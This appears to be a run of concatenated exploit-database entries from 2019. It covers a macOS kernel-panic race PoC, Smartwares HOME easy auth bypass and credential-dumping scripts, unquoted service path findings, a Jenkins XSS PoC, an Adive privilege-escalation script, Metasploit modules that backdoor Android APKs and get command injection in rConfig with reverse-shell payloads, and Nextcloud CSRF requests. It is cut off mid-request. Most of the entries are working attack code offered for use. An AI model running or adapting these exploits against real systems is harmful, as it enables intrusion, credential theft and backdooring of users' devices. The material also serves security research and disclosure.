AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+EtfAgGlzAAA EAA= Projects-Mac-mini:mount_cwd projectzero$ Projects-Mac-mini:mount_cwd projectzero$ cat > flipflop2.c #include <fcntl.h> #include <err.h> #include <unistd.h> #include <stdio.h> int main(void) { int outer_fd = open(".", O_RDONLY); if (outer_fd == -1) err(1, "open outer"); int inner_fd = open("mnt", O_RDONLY); if (inner_fd == -1) err(1, "open inner"); while (1) { if (fchdir(inner_fd)) perror("chdir 1"); if (fchdir(outer_fd)) perror("chdir 2"); } } Projects-Mac-mini:mount_cwd projectzero$ cc -o flipflop2 flipflop2.c Projects-Mac-mini:mount_cwd projectzero$ cat > mountloop.c #include <stdlib.h> #include <stdio.h> #include <err.h> int main(int argc, char **argv) { char mount_cmd[1000]; sprintf(mount_cmd, "mount -t msdos -o nobrowse %s mnt", argv[1]); while (1) { if (system(mount_cmd) != 0) errx(1, "mount failed"); umount:; if (system("umount mnt")) { puts("umount failed"); goto umount; } } } Projects-Mac-mini:mount_cwd projectzero$ cc -o mountloop mountloop.c Projects-Mac-mini:mount_cwd projectzero$ Projects-Mac-mini:mount_cwd projectzero$ cat > test.dtrace #!/usr/sbin/dtrace -w -s __mac_mount:entry { mount_pending = 1; } __mac_mount:return { mount_pending = 0; } proc_iterate:entry { in_proc_iterate = 1; } proc_iterate:return { in_proc_iterate = 0; } vnode_rele_internal:entry { if (mount_pending && in_proc_iterate) { chill(1000*1000*10); } } Projects-Mac-mini:mount_cwd projectzero$ Projects-Mac-mini:mount_cwd projectzero$ chmod +x test.dtrace Projects-Mac-mini:mount_cwd projectzero$ Projects-Mac-mini:mount_cwd projectzero$ mkdir mnt Projects-Mac-mini:mount_cwd projectzero$ ====================================================== In one terminal, launch the dtrace script as root: ====================================================== Projects-Mac-mini:mount_cwd projectzero$ sudo ./test.dtrace dtrace: script './test.dtrace' matched 10 probes dtrace: allowing destructive actions ====================================================== In a second terminal, set up the loop device and launch the ./flipflop2 helper: ====================================================== Projects-Mac-mini:mount_cwd projectzero$ hdiutil attach ./mount_cwd.img -nomount /dev/disk2 Projects-Mac-mini:mount_cwd projectzero$ ./flipflop2 ====================================================== In a third terminal, launch the ./mountloop helper: ====================================================== Projects-Mac-mini:mount_cwd projectzero$ ./mountloop /dev/disk2 umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount' umount failed umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount' umount failed umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount' umount failed [...] ====================================================== (Don't mind the error spew from ./flipflop2 and ./mountloop, that's normal.) Within a few minutes, the system should panic, with an error report like this: ====================================================== *** Panic Report *** panic(cpu 0 caller 0xffffff80055f89c5): "vnode_rele_ext: vp 0xffffff80276ee458 kusecount(4) out of balance with usecount(3). v_tag = 25, v_type = 2, v_flag = 84800."@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.270.47/bsd/vfs/vfs_subr.c:1937 Backtrace (CPU 0), Frame : Return Address 0xffffff911412b9d0 : 0xffffff80053ad6ed mach_kernel : _handle_debugger_trap + 0x47d 0xffffff911412ba20 : 0xffffff80054e9185 mach_kernel : _kdp_i386_trap + 0x155 0xffffff911412ba60 : 0xffffff80054da8ba mach_kernel : _kernel_trap + 0x50a 0xffffff911412bad0 : 0xffffff800535ab40 mach_kernel : _return_from_trap + 0xe0 0xffffff911412baf0 : 0xffffff80053ad107 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff911412bc10 : 0xffffff80053acf53 mach_kernel : _panic + 0x63 0xffffff911412bc80 : 0xffffff80055f89c5 mach_kernel : _vnode_rele_internal + 0xf5 0xffffff911412bcc0 : 0xffffff8005607f34 mach_kernel : _dounmount + 0x524 0xffffff911412bd60 : 0xffffff8005607877 mach_kernel : _unmount + 0x197 0xffffff911412bf40 : 0xffffff80059b92ad mach_kernel : _unix_syscall64 + 0x27d 0xffffff911412bfa0 : 0xffffff800535b306 mach_kernel : _hndl_unix_scall64 + 0x16 BSD process name corresponding to current thread: umount Boot args: -zp -v keepsyms=1 Mac OS version: 18G87 Kernel version: Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/RELEASE_X86_64 Kernel UUID: 982F17B3-0252-37FB-9869-88B3B1C77335 Kernel slide: 0x0000000005000000 Kernel text base: 0xffffff8005200000 __HIB text base: 0xffffff8005100000 System model name: Macmini7,1 (Mac-35C5E08120C7EEAF) System uptime in nanoseconds: 390113393507 last loaded kext at 197583647618: com.apple.filesystems.msdosfs 1.10 (addr 0xffffff7f89287000, size 69632) last unloaded kext at 61646619017: com.apple.driver.AppleIntelLpssGspi 3.0.60 (addr 0xffffff7f88208000, size 45056) [...] ======================================================

# Exploit Title: Smartwares HOME easy 1.0.9 - Client-Side Authentication Bypass # Author: LiquidWorm # Date: 2019-11-05 # Vendor: Smartwares # Product web page: https://www.smartwares.eu # Affected version: <=1.0.9 # Advisory ID: ZSL-2019-5540 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5540.php # CVE: N/A Summary: Home Easy/Smartwares are a range of products designed to remotely control your home using wireless technology. Home Easy/Smartwares is very simple to set up and allows you to operate your electrical equipment like lighting, appliances, heating etc. Desc: HOME easy suffers from information disclosure and client-side authentication bypass vulnerability through IDOR by navigating to several administrative web pages. This allowed disclosing an SQLite3 database file and location. Other functionalities are also accessible by disabling JavaScript in your browser, bypassing the client-side validation and redirection. Tested on: Boa/0.94.13 /web-en/task.html /web-en/action_task.html /web-en/plan_task.html /web-en/room.html /web-en/room_set.html /web-en/room_set2.html /web-en/scene.html /web-en/scene_set.html /web-en/scene_set2.html /web-en/system.html

# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path # Date: 2019-11-06 # Exploit Author: Mariela L Martínez Hdez # Vendor Homepage: https://webcompanion.com/en/ # Software Link: https://webcompanion.com/en/ # Version: Adaware Web Companion version 4.8.2078.3950 # Tested on: Windows 10 Home (64 bits) # 1. Description # Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path. # 2. PoC C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """" WC Assistant WCAssistantService C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe Auto C:\>sc qc WCAssistantService [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: WCAssistantService TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : WC Assistant DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # 3. Exploit # A successful attempt would require the local user to be able to insert their code in the system # root path undetected by the OS or othersecurity applications where it could potentially be executed # during application startup or reboot. If successful, the local user's code would execute with # the elevated privileges of the application.

# Title: Smartwares HOME easy 1.0.9 - Database Backup Information Disclosure # Author: LiquidWorm # Date: 2019-11-05 # Vendor: Smartwares # Product web page: https://www.smartwares.eu # Affected version: <=1.0.9 # Advisory ID: ZSL-2019-5541 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5541.php # CVE: N/A # Summary: Home Easy/Smartwares are a range of products designed to remotely # control your home using wireless technology. Home Easy/Smartwares is very # simple to set up and allows you to operate your electrical equipment like # lighting, appliances, heating etc. # # Desc: The home automation solution is vulnerable to unauthenticated database # backup download and information disclosure vulnerability. This can enable the # attacker to disclose sensitive and clear-text information resulting in authentication # bypass, session hijacking and full system control. #!/bin/bash # # ============================================================================== # root@kali:~/homeeasy# ./he_info.sh http://192.168.1.177:8004 # Target: http://192.168.1.177:8004 # Filename: 192.168.1.177:8004-16072019-db.sqlite # Username: admin # Password: s3cr3tP4ssw0rd # Version: 1.0.9 # Sessions: # ------------------------------------------------------------------ # * Ft5Mkgr5i9ywVrRH4mAECSaNJkTp5oiC0fpbuIgDIFbE83f3hGGKzIyb3krXHBsy # * Gcea4Ald4PlVGkOh23mIohGq2Da6h4mX0A8ibkm7by3QSI8TLmuaubrvGABWvWMJ # * JFU4zpdhuN4RTYgvvAhKQKqnQSvc8MAJ0nMTLYb8F6YzV7WjHe4qYlMH6aSdOlN9 # * VtOqw37a12jPdJH3hJ5E9qrc3I4YY1aU0PmIRkSJecAqMak4TpzTORWIs1zsRInd # * flR4VjFmDBSiaTmXSYQxf4CdtMT3OQxV0pQ1zwfe98niSI9LIYcO3F2nsUpiDVeH # * rCfrAvnfnl6BsLjF9FjBoNgPgvqSptcH0i9yMwN3QSDbwNHwu19ROoAVSROamRRk # ------------------------------------------------------------------ # ============================================================================== if [ "$#" -ne 1 ]; then echo "Usage: $0 http://ip:port" exit 0 fi TARGET=$1 CHECK=$(curl -Is $TARGET/data.dat 2>/dev/null | head -1 | awk -F" " '{print $2}') if [[ "$?" = "7" ]] || [[ $CHECK != "200" ]]; then echo "No juice." exit 1 fi echo "Target: "$TARGET FNAME=${TARGET:7}-$(date +"%d%m%Y") curl -s $TARGET/data.dat -o $FNAME-db.sqlite echo "Filename: $FNAME-db.sqlite" echo "Username: "$(sqlite3 $FNAME-db.sqlite "select usrname from usr") # default: admin echo "Password: "$(sqlite3 $FNAME-db.sqlite "select usrpassword from usr") # default: 111111 echo "Version: "$(sqlite3 $FNAME-db.sqlite "select option_value1 from option LIMIT 1 OFFSET 3") echo -ne "Sessions: \n" printf "%0.s-" {1..66} printf "\n" sqlite3 $FNAME-db.sqlite "select sessionid from sessiontable" | xargs -L1 echo "*" printf "%0.s-" {1..66} ; printf "\n\n"

# Exploit Title: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting # Date: 2019-11-06 # Exploit Author: vesche (Austin Jackson) # Vendor Homepage: https://plugins.jenkins.io/build-metrics # Version: Jenkins build-metrics plugin 1.3 and below # Tested on: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3 # CVE: CVE-2019-10475 # Write-up: https://github.com/vesche/CVE-2019-10475 #!/usr/bin/env python import sys import argparse VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search''' def get_parser(): parser = argparse.ArgumentParser(description='CVE-2019-10475') parser.add_argument('-p', '--port', help='port', default=80, type=int) parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str) parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str) return parser def main(): parser = get_parser() args = vars(parser.parse_args()) port = args['port'] domain = args['domain'] inject = args['inject'] if port == 80: base_url = f'http://{domain}' elif port == 443: base_url = f'https://{domain}' else: base_url = f'http://{domain}:{port}' build_url = VULN_URL.format(base_url=base_url, inject=inject) print(build_url) return 0 if __name__ == '__main__': sys.exit(main())

# Exploit Title: SolarWinds Kiwi Syslog Server 8.3.52 - 'Kiwi Syslog Server' Unquoted Service Path # Date: 2019-11-08 # Exploit Author: Carlos A Garcia R # Vendor Homepage: https://www.kiwisyslog.com/ # Software Link: https://www.kiwisyslog.com/downloads # Version: 8.3.52 # Tested on: Windows XP Professional Service Pack 3 # Description: # SolarWinds Kiwi Syslog Server 8.3.52 is an affordable software to manage syslog messages, SNMP traps, and Windows event logs # PoC: # C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ Kiwi Syslog Server Kiwi Syslog Server C:\Archivos de programa\Syslogd\Syslogd_Service.exe Auto # C:\>sc qc "Kiwi Syslog Server" [SC] GetServiceConfig SUCCESS SERVICE_NAME: Kiwi Syslog Server TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Archivos de programa\Syslogd\Syslogd_Service.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Kiwi Syslog Server DEPENDENCIES : SERVICE_START_NAME : LocalSystem # Exploit Using the BINARY_PATH_NAME listed above, an executable named "Archivos.exe" could be placed in "C:\", and it would be executed as the Local System user next time the service was restarted.

# Exploit Title: Adive Framework 2.0.7 - Privilege Escalation # Date: 2019-08-02 # Exploit Author: Pablo Santiago # Vendor Homepage: https://www.adive.es/ # Software Link: https://github.com/ferdinandmartin/adive-php7 # Version: 2.0.7 # Tested on: Windows 10 # CVE : CVE-2019-14347 #Exploit import requests import sys session = requests.Session() http_proxy = "http://127.0.0.1:8080" https_proxy = "https://127.0.0.1:8080" proxyDict = { "http" : http_proxy, "https" : https_proxy } print('[*****************************************]') print('[ BYPASSING Adive Framework Version.2.0.5 ]') print('[*****************************************]''\n') print('[+]Login with the correct credentials:' '\n') user = input('[+]user:') password = input('[+]password:') print('\n') url = 'http://localhost/adive/admin/login' values = {'user': user, 'password': password, } r = session.post(url, data=values, proxies=proxyDict) cookie = session.cookies.get_dict()['PHPSESSID'] print('Your session cookie is:'+ cookie +'\n') host = sys.argv[1] print('Create the new user:') userName = input('[+]User:') userUsername = input('[+]UserName:') password = input('[+]Password:') password2 = input('[+]Confirm Password:') print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor') permission = input('[+]permission:') if (password == password2): #configure proxy burp #hacer el request para la creacion de usuario data = { 'userName':userName, 'userUsername':userUsername, 'pass':password, 'cpass':password2, 'permission':permission, } headers= { 'Cookie': 'PHPSESSID='+cookie } request = session.post(host+'/adive/admin/user/add', data=data, headers=headers, proxies=proxyDict) print('+--------------------------------------------------+') else: print ('Passwords dont match!!!') #PoC https://imgur.com/dUgLYi6 https://hackpuntes.com/wp-content/uploads/2019/08/ex.gif

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/payload/apk' class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Android::Priv include Msf::Payload::Android def initialize(info={}) super( update_info( info, { 'Name' => "Android Janus APK Signature bypass", 'Description' => %q{ This module exploits CVE-2017-13156 in Android to install a payload into another application. The payload APK will have the same signature and can be installed as an update, preserving the existing data. The vulnerability was fixed in the 5th December 2017 security patch, and was additionally fixed by the APK Signature scheme v2, so only APKs signed with the v1 scheme are vulnerable. Payload handler is disabled, and a multi/handler must be started first. }, 'Author' => [ 'GuardSquare', # discovery 'V-E-O', # proof of concept 'timwr', # metasploit module 'h00die', # metasploit module ], 'References' => [ [ 'CVE', '2017-13156' ], [ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ], [ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ], ], 'DisclosureDate' => 'Jul 31 2017', 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ 'android' ], 'Arch' => [ ARCH_DALVIK ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', 'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission 'DisablePayloadHandler' => true, }, 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'], 'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore } })) register_options([ OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']), ]) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), ] end def check os = cmd_exec("getprop ro.build.version.release") unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0')) vprint_error "Android version #{os} is not vulnerable." return CheckCode::Safe end vprint_good "Android version #{os} appears to be vulnerable." patch = cmd_exec('getprop ro.build.version.security_patch') if patch.empty? print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.' elsif patch > '2017-12-05' vprint_error "Android security patch level #{patch} is patched." return CheckCode::Safe else vprint_good "Android security patch level #{patch} is vulnerable" end CheckCode::Appears end def exploit def infect(apkfile) unless apkfile.start_with?("package:") fail_with Failure::BadConfig, 'Unable to locate app apk' end apkfile = apkfile[8..-1] print_status "Downloading APK: #{apkfile}" apk_data = read_file(apkfile) begin # Create an apk with the payload injected apk_backdoor = ::Msf::Payload::Apk.new apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false) # Extract the classes.dex dex_data = '' Zip::File.open_buffer(apk_zip) do |zipfile| dex_data = zipfile.read("classes.dex") end dex_size = dex_data.length # Fix the original APKs zip file code directory cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06") cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0] apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V") pos = cd_start_addr while pos && pos < cd_end_addr offset = apk_data[pos+42, pos+46].unpack("V")[0] apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V") pos = apk_data.index("\x50\x4b\x01\x02", pos+46) end # Prepend the new classes.dex to the apk out_data = dex_data + apk_data out_data[32...36] = [ out_data.length ].pack("V") out_data = fix_dex_header(out_data) out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk" print_status "Uploading APK: #{out_apk}" write_file(out_apk, out_data) register_file_for_cleanup(out_apk) print_status "APK uploaded" # Prompt the user to update the APK session.appapi.app_install(out_apk) print_status "User should now have a prompt to install an updated version of the app" true rescue => e print_error e.to_s false end end unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if datastore["PACKAGE"] == 'ALL' vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)') apkfiles = [] all = cmd_exec("pm list packages").split("\n") c = 1 all.each do |package| package = package.split(':')[1] vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}") c += 1 next if ['com.metasploit.stage', # avoid injecting into ourself ].include? package # This was left on purpose to be expanded as need be for testing result = infect(cmd_exec("pm path #{package}")) break if result end else infect(cmd_exec("pm path #{datastore["PACKAGE"]}")) end end end

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'rConfig install Command Execution', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in rConfig versions 3.9.2 and prior. The `install` directory is not automatically removed after installation, allowing unauthenticated users to execute arbitrary commands via the `ajaxServerSettingsChk.php` file as the web server user. This module has been tested successfully on rConfig version 3.9.2 on CentOS 7.7.1908 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'mhaskar', # Discovery and exploit 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2019-16662'], ['EDB', '47555'], ['URL', 'https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e'], ['URL', 'https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/'] ], 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x26"}, 'Targets' => [ ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ] ], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'DisclosureDate' => '2019-10-28', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to rConfig install directory', '/install/']) ]) end def check res = execute_command('id') unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 404 vprint_error 'Could not find install directory' return CheckCode::Safe end cmd_res = res.body.scan(%r{The root details provided have not passed: (.+?)<\\/}).flatten.first unless cmd_res return CheckCode::Safe end vprint_status "Response: #{cmd_res}" unless cmd_res.include?('uid=') return CheckCode::Detected end CheckCode::Vulnerable end def execute_command(cmd, opts = {}) vprint_status "Executing command: #{cmd}" send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxServerSettingsChk.php'), 'vars_get' => {'rootUname' => ";#{cmd} #"} }, 5) end def exploit unless [CheckCode::Detected, CheckCode::Vulnerable].include? check fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" end case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(:linemax => 1_500) end end end

# Exploit Title: Nextcloud 17 - Cross-Site Request Forgery # Date: 08.11.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://nextcloud.com # Software Link: https://nextcloud.com/install/#instructions-server # Version: 17 # CVE: N/A #Nextcloud offers the industry-leading, on-premises content collaboration platform. #Our technology combines the convenience and ease of use of consumer-grade solutions like Dropbox and Google Drive with the security, privacy and control business #needs. ################################################################################################################################## # CSRF1 # Create Folder MKCOL /remote.php/dav/files/ogoker/test HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest requesttoken: NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M= Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM; nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1 ################################################################################################################################## # CSRF2 # Delete Folder DELETE /remote.php/dav/files/ogoker/test HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest requesttoken: NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M= Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM; nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1 ################################################################################################################################## # CSRF3 # Create User POST /ocs/v2.php/cloud/users HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 requesttoken: qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I= Content-Length: 129 Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM; nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1 {"userid":"test","password":"test1234","displayName":"","email":"","groups":[],"subadmin":[],"quota":"default","language":"en"} ################################################################################################################################## # CSRF4 # Delete User DELETE /ocs/v2.php/cloud/users/test HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate requesttoken: qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I= Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM; nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1 ################################################################################################################################## # CSRF5 # Disable User PUT /ocs/v2.php/cloud/users/test/disable HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate requesttoken: 3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0= Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM; nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1 Content-Length: 0 ################################################################################################################################## # CSRF6 # Enable User PUT /ocs/v2.php/cloud/users/test/enable HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate requesttoken: 3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0= Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; 